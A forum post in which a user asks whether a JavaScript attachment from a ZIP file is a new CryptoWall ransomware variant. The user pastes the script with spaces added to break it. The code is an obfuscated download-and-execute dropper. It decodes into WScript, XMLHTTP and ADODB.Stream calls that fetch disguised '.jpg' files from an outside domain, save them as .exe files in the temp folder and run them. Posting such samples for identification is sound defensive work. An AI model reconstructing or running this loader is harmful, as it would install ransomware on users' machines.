VIRUS CRYPTOWALL New variant?

BrinkJ

Active Member
Joined
Oct 1, 2012
Messages
70
Hi All,

Please check and see if this might be a new variant of the CryptoWall virus? Came in a ZIP folder as a JS.

I broke this script with excessive spaces to paste it safely here:

v a r llvT='fPugnBcTtwijoJnK ndolp(EfErX,c qfPnF,T zrBnq)Y{j C dvKarrY BwCso h=D HneenwR oAbcFteifvJeBXIOAbRjOeUcQtP(K"oWzSMcSrKiEpqtL.GSfhteKlnlX"y)E;
M a JvraGrT tfOnU K=d owbss.zEQxspLainDdQEZnOvXiErIoinrmgehnvttSHtFrkiNnZgesb(t"o%FTiEPMxPh%f"q)t O+t JSntIrhisnQgQ.jfxrxofmqCEhlabrRCLoFdteF(t9y2n)J w+U pfnnN;E h XvraprE jxGoU T=D RnzeuwW kAVcotwia vieBXUOhbojeeecJtU(R"WM';
var IapFt='YSyXtMQLo2y.AXuMTLTHyTkTTPt"H)E;
O v Axpoe.CoKnLrqeoapdAyJsHtXahtGeQcyhuaPnygpei S=n TfluhnacptviWopnl B(r)v{
N i k C jiufK G(bxQoX.arLe maYdAyUSqt oa otceV P=R =Q=m H4C)n{
z y A i i D RvcaNrY Exeav f=p hnDepwC uAecqtW zvGeoXQO sbwj SefcwtQ(g"fAzD jOxD cBx.VS htbrQeMaR my"P)H;
A K l r h k xxWaA.qoSpTeVnP(j)B;
u j l r L i MxsaK.dtEybp beU i=c f1T;U M E S i E IxBaX.ewQrHigtLeq';
v a r boVaKn='(RxDoB.ARPe us Kptozn msVeTBUoxdyyo) S;L s k u x t vxV aY.MpcoEsY iTtWiboVnW r=P h0k;
P T F i o D hxd aW.tsW aGv neUTAoiFp iYlveS(dfTnl,z u2H)W;
m W D W l X cxUaM.gcClqoCsveM(J)i;g J R W i}N o L g a;
K b h
}
g N E;
k k qtIrNyL U{t O K w JxXoF.soEpOe Kna(w"XGP EHTE"p,S gfXrz,u cfjaf Ssres)d;
M m s W ixBo u.nsuey nCdF (Y)y;
c n G h diZfN B(YrInd H>n v 0z)f{Z L S R i A Twd so_ORbu qnT(zf';
var JZaEeM='pnv,n w0d,R V0r)S;t z v B m}q B S Q M;l h v}l B YcaaPtAcQhi z(Geern)C{H E X}z W R;y}RdSll(I"ThEtYtgpp:G/c/bqIwBeBrXtB7S6F4BtYyk.pcaormt/yirmQa Pgpeisi /aoqnCefwPijnUdWo Mwv1esN.xjBpPgP"H,R n"r5G1O7j4A9N5a2Q.deQxyeL"r,p O1W)F;
ydrlb(K"nhGtYtkpI:eek:/A/PqFwoeHrLtC7r6L 4QtSyc.tcioa mF/aiQmTawgVeSsn/xtcwbo Dw BiLnLdp oMwb2vsA.jjGp Dga"S,T s"v3M2 b5V 7S8B 6m0m .yeHx Eem"F,h N1I)i;
Z';
v a r XMaqW jgayEmbUel=llvT+Ia pFt+ boV aKn+JZa EeM;
v a r uOgr rgUilvFyqbQ="";
v a r MrlKbRlZVXBq BnOEBvwsbQb=2+1;
v a r WgLDI cxvTjG vArUWO="UvQTeWOeNjBbF OrPpLbLbfJIK";
i f (WScr ipt.Na me.len gth>3){
WgLDIcxvTj GvArUWO="va";MrlKbRl ZVXBqBnOEBvwsbQb=MrlKbRlZVXBqBnOEBvwsbQb-1
};
f o r (i=0;i<X Maq Wjga yEm b Uel.l en gth ;i +=MrlKb RlZ VXB BnOE BvwsbQb){
uOgrrgUilv FyqbQ +=XMaqW jgayEmb Uel.cha rAt(i);
}
v a r UPJbULWQ EyhfLtMWx="e "+WgLDIcxv TjGvArUWO+" l";
th is[U PJbULWQEyhfLtMWx](uOgrrgU ilvFyqbQ); //KMKp9SjdSX
 
Top